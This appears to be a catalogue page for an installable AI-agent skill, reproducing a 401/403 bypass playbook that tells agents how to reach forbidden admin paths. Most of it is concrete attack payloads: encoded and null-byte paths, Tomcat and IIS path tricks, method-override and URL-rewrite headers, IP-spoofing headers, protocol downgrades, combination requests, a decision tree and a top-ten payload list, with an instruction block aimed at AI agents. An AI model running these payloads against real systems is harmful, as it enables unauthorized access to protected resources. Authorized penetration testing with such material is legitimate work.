SkillAgentSearch skills...

401-403-bypass-techniques

401/403 bypass playbook

Install / Use

npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques

Installs into whichever agent you are using.

About this skill
šŸ“„

SKILL.md

Installable skill definition

Quality Score

82/100

Category

Automation

Supported Platforms

Universal

Our assessment of 401-403-bypass-techniques

401-403-bypass-techniques scores 82/100 on our quality scale, 2288th of 2,790 Automation skills we index.

Its SKILL.md is 9.6 KB long, well organised into 37 sections with 22 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
4/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so 401-403-bypass-techniques is actively maintained.
  • Our last check on 2026-11-07 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-10-02. Automated pattern scan on 2026-10-02. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

401-403-bypass-techniques compared with similar skills

All 4 of these similar skills score higher than 401-403-bypass-techniques; compare them before choosing.

SkillScoreStarsUpdatedFormat
401-403-bypass-techniques (this skill)by yaklang822.3k2mo agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
rufloby ruvnet10081.9ktodayCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
Claude-Code-Game-Studiosby Donchitos10039.7k7d agoCLAUDE.md

Frequently asked questions

How do I install 401-403-bypass-techniques?
Run npx skills add yaklang/hack-skills --skill 401-403-bypass-techniques. The install tabs above show the steps for each supported agent.
Which AI agents does 401-403-bypass-techniques work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is 401-403-bypass-techniques safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is 401-403-bypass-techniques still maintained?
The repository was last updated about 2 months ago, so 401-403-bypass-techniques is actively maintained.

name: 401-403-bypass-techniques description: >- 401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

SKILL: 401/403 Bypass Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Comprehensive 401/403 forbidden bypass techniques. Covers path normalization tricks, HTTP method override, header-based bypasses (X-Original-URL, X-Forwarded-For), protocol version tricks, and combination attacks. Base models typically know 2-3 header bypasses but miss the full matrix of path manipulation variants and verb+path combos.

0. RELATED ROUTING


1. PATH MANIPULATION BYPASSES

The core idea: the reverse proxy/WAF checks one path format, but the backend normalizes differently.

1.1 Trailing Slash / Missing Slash

/admin      → 403
/admin/     → 200  āœ“ (trailing slash)
/admin/.    → 200  āœ“ (trailing dot)

1.2 Case Sensitivity

/admin      → 403
/Admin      → 200  āœ“
/ADMIN      → 200  āœ“
/aDmIn      → 200  āœ“

Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).

1.3 URL Encoding

/admin          → 403
/%61dmin        → 200  āœ“ (encode 'a')
/admi%6e        → 200  āœ“ (encode 'n')
/%61%64%6d%69%6e → 200  āœ“ (full encode)

1.4 Double URL Encoding

/admin              → 403
/%2561dmin          → 200  āœ“ (%25 = %, decoded twice: %61 → a)
/admin%252f         → 200  āœ“
/admin..%252f       → 200  āœ“

1.5 Unicode / UTF-8 Encoding

/admin          → 403
/admi%C0%AE     → 200  āœ“ (overlong UTF-8 for '.')
/admi%C0%6E     → 200  āœ“ (overlong encoding)
/%C0%AFadmin    → 200  āœ“ (overlong '/')

1.6 Dot-Segment / Path Traversal

/admin          → 403
/./admin        → 200  āœ“
//admin         → 200  āœ“
/admin/./       → 200  āœ“
/.//admin       → 200  āœ“
/admin..;/      → 200  āœ“ (Tomcat path parameter)

1.7 Null Byte

/admin          → 403
/admin%00       → 200  āœ“
/admin%00.json  → 200  āœ“
/%00/admin      → 200  āœ“

1.8 Path Parameter Injection

/admin          → 403
/admin;foo=bar  → 200  āœ“ (Tomcat/Java treats ; as path param)
/admin;         → 200  āœ“
/admin;x        → 200  āœ“

1.9 Trailing Special Characters

/admin%20 (space)  /admin%09 (tab)   /admin? (empty query)
/admin.json        /admin.html       /admin/~

1.10 Backslash (Windows/IIS)

/admin\    /admin\..\/    \..\admin

1.11 Combined Path Tricks

///admin///    /./admin/./    /admin/..;/admin (Tomcat)    /%2e/admin

2. HTTP METHOD BYPASS

2.1 Direct Method Change

GET  /admin → 403
POST /admin → 200  āœ“
PUT  /admin → 200  āœ“
PATCH /admin → 200  āœ“
DELETE /admin → 200  āœ“
OPTIONS /admin → 200  āœ“ (may leak allowed methods)
TRACE /admin → 200  āœ“ (may reflect headers — XST)
HEAD /admin → 200  āœ“ (same as GET but no body — confirms access)

2.2 Method Override Headers

When the proxy blocks by method, but the backend reads override headers:

GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT

GET /admin HTTP/1.1
X-Method-Override: POST

GET /admin HTTP/1.1
X-HTTP-Method: DELETE

POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT  (in POST body — Rails, Laravel)

2.3 Custom / Invalid Methods

FOOBAR /admin HTTP/1.1     → some ACLs only check GET/POST
GETS /admin HTTP/1.1       → typo-like methods may bypass
CONNECT /admin HTTP/1.1    → proxy may tunnel
PROPFIND /admin HTTP/1.1   → WebDAV method
MOVE /admin HTTP/1.1       → WebDAV method

3. HEADER-BASED BYPASS

3.1 URL Rewrite Headers (Nginx/IIS)

These headers tell the backend the "real" URL, bypassing proxy-level path checks:

GET / HTTP/1.1
X-Original-URL: /admin

GET / HTTP/1.1
X-Rewrite-URL: /admin

The proxy sees GET / (allowed), but the backend routes to /admin.

3.2 IP Spoofing Headers (Whitelist Bypass)

Headers to try (each with values 127.0.0.1, 10.0.0.1, 0.0.0.0, ::1):

X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1

IP encoding variants: 0177.0.0.1 (octal), 2130706433 (decimal), 0x7f000001 (hex), localhost

3.3 Other Header Tricks

Referer: https://target.com/admin     # Referrer check bypass
Origin: https://target.com             # Origin check bypass
Host: localhost                         # Host header manipulation
X-Forwarded-Host: localhost            # Forwarded host
Content-Type: application/json         # Content-type switch
X-Requested-With: XMLHttpRequest       # AJAX flag

4. PROTOCOL VERSION BYPASS

# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0

# HTTP/0.9 (extremely legacy — no headers)
GET /admin

# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See ../http2-specific-attacks/SKILL.md for H2-specific bypasses

5. VERB TAMPERING + PATH COMBINATION

Combine multiple techniques for higher success rate:

POST / HTTP/1.1                          # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET

GET /%61dmin HTTP/1.1                    # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1

GET /Admin HTTP/1.0                      # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1

6. TECHNOLOGY-SPECIFIC BYPASSES

| Server | Key Tricks | |---|---| | Apache | /admin/ (trailing slash), /.admin (dot prefix), /admin%0d (CR) | | Nginx | /Admin (case), /admin../ (normalization), X-Original-URL: /admin | | IIS/ASP.NET | /admin;.css (path param+ext), /admin\ (backslash), /admin::$DATA (ADS), /admin%20 | | Tomcat/Java | /admin;foo (path param), /admin..;/ (traversal), /;/admin (empty param) | | Spring | /admin.anything (suffix matching, older), /admin/ (trailing slash) |


7. AUTOMATED TOOLS

| Tool | Purpose | URL | |---|---|---| | byp4xx | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx | | 403bypasser | Automated header/path/method bypass | github.com/sting8k/403bypasser | | dirsearch | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch | | feroxbuster | Recursive content discovery | github.com/epi052/feroxbuster | | Burp Intruder | Custom payload lists for manual testing | portswigger.net |

byp4xx usage

# Basic usage
./byp4xx.sh https://target.com/admin

# Output shows all attempted bypasses and their response codes
# 200/301/302 responses = potential bypass found

8. DECISION TREE

Got 401 or 403 on a path?
│
ā”œā”€ā”€ Try PATH MANIPULATION first (highest success rate)
│   ā”œā”€ā”€ /path/      (trailing slash)
│   ā”œā”€ā”€ /PATH       (case change)
│   ā”œā”€ā”€ /path%20    (trailing space)
│   ā”œā”€ā”€ /./path     (dot segment)
│   ā”œā”€ā”€ //path      (double slash)
│   ā”œā”€ā”€ /path;x     (path parameter — Java/Tomcat)
│   ā”œā”€ā”€ /path..;/   (Tomcat specific)
│   ā”œā”€ā”€ /%2e/path   (encoded dot)
│   ā”œā”€ā”€ /path%00    (null byte)
│   ā”œā”€ā”€ /path%23    (encoded hash)
│   └── Result? → 200 = bypass found
│
ā”œā”€ā”€ Path tricks failed → Try METHOD BYPASS
│   ā”œā”€ā”€ POST/PUT/PATCH/DELETE/OPTIONS
│   ā”œā”€ā”€ HEAD (same as GET without body)
│   ā”œā”€ā”€ X-HTTP-Method-Override: PUT
│   └── TRACE (may reflect auth headers — XST)
│
ā”œā”€ā”€ Method tricks failed → Try HEADER BYPASS
│   ā”œā”€ā”€ X-Original-URL: /path      (Nginx/IIS rewrite)
│   ā”œā”€ā”€ X-Rewrite-URL: /path       (same concept)
│   ā”œā”€ā”€ X-Forwarded-For: 127.0.0.1 (IP whitelist)
│   ā”œā”€ā”€ X-Real-IP: 127.0.0.1
│   ā”œā”€ā”€ True-Client-IP: 127.0.0.1
│   └── Referer: https://target.com/path
│
ā”œā”€ā”€ Header tricks failed → Try PROTOCOL BYPASS
│   ā”œā”€ā”€ HTTP/1.0 instead of 1.1
│   ā”œā”€ā”€ HTTP/2 h2c smuggling (../http2-specific-attacks/)
│   └── WebSocket upgrade
│
ā”œā”€ā”€ Single techniques failed → Try COMBINATIONS
│   ā”œā”€ā”€ Method + Path: POST /PATH/
│   ā”œā”€ā”€ Header + Path: X-Forwarded-For + /path%20
│   ā”œā”€ā”€ All three: POST + X-Original-URL + IP headers
│   └── Protocol + Path: HTTP/1.0 + encoded path
│
ā”œā”€ā”€ All bypasses failed → Consider ALTERNATIVE APPROACHES
│   ā”œā”€ā”€ Request smuggling (../request-smuggling/) → smuggle past ACL
│   ā”œā”€ā”€ SSRF (../ssrf-server-side-request-forgery/) → access from server
│   ā”œā”€ā”€ IDOR (../idor-broken-object-authorization/) → access data directly
│   └── Auth flaws (../authbypass-authentication-flaws/) → login bypass
│
└── Automated scan with byp4xx / 403bypasser for completeness

9. QUICK REFERENCE — KEY PAYLOADS

# Top 10 quick-wins (try these first)
GET /admin/     HTTP/1.1        # trailing slash
GET /Admin      HTTP/1.1        # case change
GET /admin%20   HTTP/1.1        # trailing space
GET /./admin    HTTP/1.1        # dot segment
GET //admin     HTTP/1.1        # double slash
POST /admin     HTTP/1.1        # method change
GET / HTTP/1.1                  # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1             # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1        # IIS path param
GET /admin..;/ HTTP/1.1         # Tomcat bypass

Related Skills

View on GitHub
GitHub Stars2.3k
CategoryAutomation
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions
401-403-bypass-techniques — Universal Skill: Install & Safety Check | SkillAgent